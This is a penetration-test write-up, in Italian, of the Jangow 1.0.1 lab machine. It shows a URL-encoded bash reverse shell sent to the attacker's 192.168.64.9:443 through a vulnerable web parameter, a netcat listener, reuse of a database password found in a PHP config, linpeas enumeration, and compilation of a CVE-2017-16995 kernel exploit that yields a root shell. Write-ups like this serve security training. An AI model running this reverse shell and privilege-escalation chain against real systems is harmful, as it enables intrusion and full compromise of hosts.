

Allegato Screenshot

Penetration Test — Jangow 1.0.1

Bersaglio: 192.168.64.13 | Attaccante (Kali): 192.168.64.9

Documentazione fotografica delle fasi dell'attacco (9 schermate).

Fase 1 — Ricognizione della rete

Scansione ARP della rete locale (arp-scan --localnet) e verifica dell'interfaccia dell'attaccante (ip a). Individuato il bersaglio 192.168.64.13.

```
(kali㉿kali)-[~]
└─$ sudo arp-scan --localnet
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: fe:5b:d7:b0:77:ae, IPv4: 192.168.64.9
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.64.1    fe:b2:14:78:b8:64    (Unknown: locally administered)
192.168.64.13   96:13:22:10:8d:68    (Unknown: locally administered)

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.836 seconds (139.43 hosts/sec). 2 responded

(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether fe:5b:d7:b0:77:ae brd ff:ff:ff:ff:ff:ff
    inet 192.168.64.9/24 brd 192.168.64.255 scope global dynamic noprefixroute eth0
        valid_lft 2284sec preferred_lft 2284sec
    inet6 fd8f:62ce:f5d0:dab6:828f:5533:329:14e3/64 scope global dynamic noprefixroute
        valid_lft 2591912sec preferred_lft 604712sec
    inet6 fe80::4656:fde1:80b4:5936/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Fase 2 — Preparazione del payload

Codifica in formato URL del payload di reverse shell tramite CyberChef, per l'inserimento nel parametro vulnerabile buscar.

Input

+    

/bin/bash -c 'bash -i >& /dev/tcp/192.168.64.9/443 0>&1'|

REC 56 1

Raw Bytes  LF

Output 

   

%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E64%2E9%2F443%200%3E%261%27

Fase 3 — Accesso iniziale (reverse shell)

Listener netcat sulla porta 443, ricezione della shell come www-data, upgrade a TTY interattivo e passaggio all'utente jangow01.

```
(kali㉿kali)-[~] kali): jangow01
$ nc -lvnp 443 the password
listening on [any] 443 ...
connect to [192.168.64.9] from (UNKNOWN) [192.168.64.13] 54544
bash: cannot set terminal process group (2380): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jangow01:/var/www/html/site$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<html/site$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@jangow01:/var/www/html/site$ su jangow01
su jangow01
Password: abygurl69
jangow01@jangow01:/var/www/html/site$ cd /home/jangow01
cd /home/jangow01 [192.168.64.13]
jangow01@jangow01:~$ ls
ls -la /home/jangow01 (kali): jangow01
45010.c shell.elf user.txt rd
```

Fase 4 — Raccolta credenziali

File di configurazione PHP con credenziali del database in chiaro (desafio02 / abygurl69), poi riutilizzate per l'escalation a utente.

```
1 <?php
2 $servername = "localhost";
3 $database = "desafio02";
4 $username = "desafio02";
5 $password = "abygurl69";
6 // Create connection
7 $conn = mysqli_connect($servername, $username, $password, $database);
8 // Check connection
9 if (!$conn) {
10     die("Connection failed: " . mysqli_connect_error());
11 }
12 echo "Connected successfully";
13 mysqli_close($conn);
14 ?>
15
16
```

Fase 5 — Enumerazione (linpeas)

Esecuzione dello script di enumerazione linpeas.sh per l'individuazione di vettori di privilege escalation.

```
jangow01@jangow01:~$ chmod +x linpeas.sh
chmod +x linpeas.sh
jangow01@jangow01:~$ ./linpeas.sh
./linpeas.sh
```

Fase 6 — Vulnerabilità individuata

linpeas segnala il kernel vulnerabile a CVE-2017-16995 (eBPF verifier), sfruttabile per l'escalation locale dei privilegi.

```
CVE: CVE-2017-16995 | Name: eBPF_verifier | Match data: pkg=linux-kernel,ver ≥ 4.4,ver ≤ 4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled≠1 | Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic} | Rank: 5 | Details: CONFIG_BPF_SYSCALL needs to be set & kernel.unprivileged_bpf_disabled ≠ 1
```

Fase 7 — Compilazione dell'exploit

Compilazione del sorgente 45010.c con gcc per generare l'eseguibile dell'exploit cve-2017-16995.

```
jangow01@jangow01:~$ ls
ls
45010.c  linpeas.sh  shell.elf  user.txt
jangow01@jangow01:~$ gcc 45010.c -o
cve-2017-16995gcc 45010.c -o
gcc: error: unrecognized command line option '-o'
jangow01@jangow01:~$ gcc 45010.c -o cve-2017-16995
cve-2017-16gcc 45010.c -o cve-2017-16995
cve-2017-16gcc: comando não encontrado
jangow01@jangow01:~$ ls
ls
45010.c  linpeas.sh  shell.elf  user.txt
jangow01@jangow01:~$ gcc 45010.c -o cve-2017-16995
gcc 45010.c -o cve-2017-16995
```


Fase 8 — Escalation a root

Esecuzione dell'exploit: patch della cred structure del kernel e ottenimento della shell con uid=0(root).

```
[.]  
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)  
[.]  
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **  
[.]  
[*] creating bpf map  
[*] sneaking evil bpf past the verifier  
[*] creating socketpair()  
[*] attaching bpf backdoor to socket  
[*] skbuff => ffff88001f028100  
[*] Leaking sock struct from ffff88001623da40  
[*] Sock->sk_rcvtimeo at offset 472  
[*] Cred structure at ffff88001e5f2300  
[*] UID from cred structure: 1000, matches the current: 1000  
[*] hammering cred structure at ffff88001e5f2300  
[*] credentials patched, launching shell...  
# id  
id  
uid=0(root) gid=0(root) grupos=0(root),1000(desafio02)  
# ls  
ls  
45010.c cve-2017-16995 linpeas.sh shell.elf user.txt  
# cd /root  
cd /root  
# ls  
ls  
proof.txt  
# cat proof.txt  
cat proof.txt
```

Fase 9 — Prova finale (proof.txt)

Lettura della flag finale /root/.proof.txt con ASCII art JANGOW e hash
da39a3ee5e6b4b0d3255bfef95601890afd80709.

```
cat proof.txt

da39a3ee5e6b4b0d3255bfef95601890afd80709

JANGOW

# ls
ls
proof.txt
#
```